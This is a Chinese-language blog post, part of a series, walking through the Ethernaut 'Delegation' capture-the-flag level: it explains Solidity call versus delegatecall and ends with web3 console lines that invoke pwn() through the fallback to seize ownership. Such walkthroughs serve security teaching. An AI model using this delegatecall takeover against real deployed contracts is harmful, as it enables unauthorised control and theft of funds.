iT邦幫忙

2022 iThome 鐵人賽

DAY 9
0

(Delegation) 倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

通關條件

玩家必須取得 Owner 權限,即可通過

先備知識(call vs delegatecall)

這一關需要先瞭解的是 Solidity 裡面的兩種 call 和 delegatecall,這兩種 call 被用來實現合約之間互相呼叫函數,或轉帳使用,(註 : callcode 已遭到棄用,應該避免使用),而這兩種 call 的差別是執行過後的 storage 存儲狀況,舉個例子,當 A 合約使用 call 呼叫 B 合約的某 function 後,B 合約執行的將會儲存於 B 合約內部,反之,delegatecall 則只會取得合約地址,而其他資料都使用合約 A 的,並且將存儲通通轉至 A 合約,且會按照 slot(在後面的章節會提及) 排序的逐一映射,聽不懂嗎? 沒關係,讓我們看看下面的例子,相信你會更了解的

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0; 
contract A {
    address public temp1;
    uint256 public temp2;
    function call_(address addr) public {
        addr.call(abi.encodeWithSignature("test()"));  
    }
    function call_delegate(address addr) public {
        addr.delegatecall(abi.encodeWithSignature("test()")); 
    }
} 

contract B {
    address public temp1 = 0xEc29164D68c4992cEdd1D386118A47143fdcF142;
    uint256 public temp2;
    function test() public  {
            temp1 = msg.sender;        
            temp2 = 100; 
    }
}

我們來看看當合約使用 call 去呼叫另一個合約時會產生的改變,請先將程式碼複製貼上至 remix,並且完成部署(使用 remix 的測試環境即可,無須部署上測試鏈) A B 兩合約,接著請將 B 合約的地址複製至 A 合約的 call_ function 並執行,將結果紀錄於下圖。

可以看到 call_ 確實將 B 合約的存儲改變了,並存儲於 B 合約之中。

接著我們再重新部署一次合約,這次執行 call_delegate,同樣請將 B 合約的地址作為參數傳入 A 合約中,接著將結果紀錄於下圖。

可以看到,delegatecall 執行了 test function 後並沒有將數據存儲於合約 B 而是進入了合約 A,且 msg.sender 是採用合約 A 的交易呼叫者,那麼相信你對 delegatecall 的運作方式已經有初步的了解,接著再來看下圖展示的 delegatecall 映射資料的運作。

可以將變數型別/名稱通通更改,或許會對你的理解有更大的幫助

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0; 
contract A {
    uint256 public _uint;
    address public _addr;
    function call_(address addr) public {
        addr.call(abi.encodeWithSignature("test()"));  
    }
    function call_delegate(address addr) public {
        addr.delegatecall(abi.encodeWithSignature("test()")); 
    }
} 

contract B {
    address public temp1 = 0xEc29164D68c4992cEdd1D386118A47143fdcF142;
    uint256 public temp2;
    function test() public  {
            temp1 = msg.sender;        
            temp2 = 100; 
    }
}


(執行過後,註 : 100(dec) = 64(hex))

程式碼

如果你已經完全搞懂了 delegatecall 的運作邏輯了,就讓我們來試著做做看這題吧,來吧,直接對關鍵的部分下手。

function pwn() public {
    owner = msg.sender;
}
fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
}

從上述兩程式碼可知,若我們在 Delegation 合約執行 pwn function,
將會把 Delegate 的合約存儲複製近 Delagation,而 msg.sender 會採用呼叫者的資料,也就是我們(player),所以只要能在 web console 執行交易即可,接著進入實作環節。

通關

sig = await web3.eth.abi.encodeFunctionSignature("pwn()")
await contract.sendTransaction({from:player, data:sig})
await contract.owner() == player // true


✌(◕‿-)✌ ✌(◕‿-)✌ ✌(◕‿-)✌ ✌(◕‿-)✌

reference

https://cypherpunks-core.github.io/ethereumbook_zh/08.html
https://blog.csdn.net/sanqima/article/details/114305130
https://blog.csdn.net/qq_35044509/article/details/80226256
https://web3js.readthedocs.io/en/v1.2.11/web3-eth-abi.html


上一篇
Day 8 - Token
下一篇
Day 10 - force
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言